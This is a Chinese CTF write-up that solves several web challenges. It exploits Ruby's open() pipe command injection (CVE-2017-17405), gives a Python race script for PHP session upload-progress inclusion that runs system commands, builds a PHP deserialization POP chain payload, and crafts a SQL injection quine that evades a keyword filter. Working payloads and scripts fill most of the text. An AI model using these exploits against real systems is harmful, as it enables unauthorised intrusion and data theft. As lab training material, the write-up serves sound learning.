PNG图片转换器
附件下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
   | require 'sinatra' require 'digest' require 'base64'
  get '/' do   open("./view/index.html", 'r').read() end
  get '/upload' do   open("./view/upload.html", 'r').read() end
  post '/upload' do   unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'     return "<script>alert('error');location.href='/upload';</script>"   end   begin     filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'     open(filename, 'wb') { |f|       f.write open(params[:file][:tempfile],'r').read()     }     "Upload success, file stored at #{filename}"   rescue     'something wrong'   end
  end
  get '/convert' do   open("./view/convert.html", 'r').read() end
  post '/convert' do   begin     unless params['file']       return "<script>alert('error');location.href='/convert';</script>"     end
      file = params['file']     unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/       return "<script>alert('dont hack me');</script>"     end     res = open(file, 'r').read()     headers 'Content-Type' => "text/html; charset=utf-8"     "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"   rescue     'something wrong'   end end
   | 
这里利用的点是CVE-2017-17405
如果传递给 open 函数的文件名参数是以“|”开头,Ruby 会打开一个管道句柄并执行后面的命令。
我们创建一个rb文件测试,内容如下
1 2
   | f = open("|whoami") puts f.read
  | 
然后运行
 
 成功执行了命令,看这道题的关键代码,在/convert路由处可以利用,不过限制了..和/,并且需要png结尾,不过我们可以通过系统变量构造出来
1 2
   | 执行ls / file=|ls `echo ${PWD}|cut -c 1`>dotast.png
   | 

 然后再读取dotast.png
 
 base64解码后得到文件名:FLA9_VixNxtSRFfd8IoFlnNvv,然后就是读取这个文件
1
   | file=|cat `echo ${PWD}|cut -c 1`FLA9_VixNxtSRFfd8IoFlnNvv>dotast.png
  | 
再访问一次file=dotast.png,base64解码后得到flag
 
EasyCleanup
session文件包含,之前ctfshow做过的题,直接跑脚本就好*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
   | 
 
 
  import io import requests import threading url = 'http://114.115.134.72:32770/'
  def write(session):     data = {         'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'     }     while True:         f = io.BytesIO(b'a' * 1024 * 10)         response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session):     while True:         response = session.get(url+'?file=/tmp/sess_flag')         if 'dotasts' in response.text:             print(response.text)             break         else:             print('retry')
  if __name__ == '__main__':     session = requests.session()     write = threading.Thread(target=write, args=(session,))     write.daemon = True     write.start()     read(session)
 
  | 

WebFTP
github上有源码:https://github.com/wifeat/WebFTP
 /Readme/mytz.php中可以执行phpinfo函数
 
执行后phpinfo有flag
 
pklovecloud
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
   |  <?php   include 'flag.php'; class pkshow  {       function echo_name()          {                   return "Pk very safe^.^";           }   } 
  class acp  {        protected $cinder;       public $neutron;     public $nova;     function __construct()      {               $this->cinder = new pkshow;     }       function __toString()           {                   if (isset($this->cinder))               return $this->cinder->echo_name();           }   }  
  class ace {         public $filename;          public $openstack;     public $docker;      function echo_name()           {            $this->openstack = unserialize($this->docker);         $this->openstack->neutron = $heat;         if($this->openstack->neutron === $this->openstack->nova)         {         $file = "./{$this->filename}";             if (file_get_contents($file))                      {                               return file_get_contents($file);              }               else              {                  return "keystone lost~";              }             }     }   }  
  if (isset($_GET['pks']))   {     $logData = unserialize($_GET['pks']);     echo $logData;  }  else  {      highlight_file(__file__);  } ?>
   | 
一个个看,首先pkshow类排除,没有用,但是acp类会调用pkshow的echo_name()方法,观察到ace类也有一个echo_name()方法,所以我们需要改成调用ace类的echo_name()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | class ace {         public $filename;          public $openstack;     public $docker;      function echo_name()           {            $this->openstack = unserialize($this->docker);         $this->openstack->neutron = $heat;         if($this->openstack->neutron === $this->openstack->nova)         {         $file = "./{$this->filename}";             if (file_get_contents($file))                      {                               return file_get_contents($file);              }               else              {                  return "keystone lost~";              }             }     }   } 
   | 
在ace类中,会反序列docker中的内容,然后传给openstack,并且给成员变量$neutron赋值一个未知数,然后需要类中的neutron和nova强相等才会进入if里面,这里我们可以用变量引用的方式去使其永远相等,思路都懂了,构造pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | <?php class acp {     protected $cinder;     public $neutron;     public $nova;     function __construct($cinder)     {         $this -> cinder = $cinder;         $this -> neutron = &$this -> nova;     } }
  class ace {     public $filename = "flag.php";     public $openstack;     public $docker;     function __construct($docker)     {         $this -> docker = $docker;     } }
  echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));
   | 
然后传参
1
   | pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D
   | 
右键源码查看flag
 
yet_another_mysql_injection
http://114.115.143.25:32770/?source 可以查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   |  <?php include_once("lib.php"); function alertMes($mes,$url){     die("<script>alert('{$mes}');location.href='{$url}';</script>"); }
  function checkSql($s) {     if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){         alertMes('hacker', 'index.php');     } }
  if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {     $username=$_POST['username'];     $password=$_POST['password'];     if ($username !== 'admin') {         alertMes('only admin can login', 'index.php');     }     checkSql($password);     $sql="SELECT password FROM users WHERE username='admin' and password='$password';";     $user_result=mysqli_query($con,$sql);     $row = mysqli_fetch_array($user_result);     if (!$row) {         alertMes("something wrong",'index.php');     }     if ($row['password'] === $password) {     die($FLAG);     } else {     alertMes("wrong password",'index.php');   } }
  if(isset($_GET['source'])){   show_source(__FILE__);   die; } ?>
   | 
很显然需要我们输入的passwors和数据库中的强相等才行,搜了一下资料,Quine可以编写一个返回自身的sql查询
 参考链接:https://www.shysecurity.com/post/20140705-SQLi-Quine
 使用脚本编写payload
1 2 3 4 5 6 7 8 9 10 11 12 13
   | 
 
 
  def quine(data, debug=True):     if debug: print(data)     data = data.replace('@@',"REPLACE(REPLACE(@@,CHAR(34),CHAR(39)),CHAR(64),@@)")     blob = data.replace('@@','"@"').replace("'",'"')     data = data.replace('@@',"'"+blob+"'")     if debug: print(data)     return data
  result = quine("'UNION/**/SELECT/**/@@/**/AS/**/atao#")
 
  | 
运行后得到
1
   | 'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#',CHAR(34),CHAR(39)),CHAR(64),'"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#')/**/AS/**/atao#
  | 
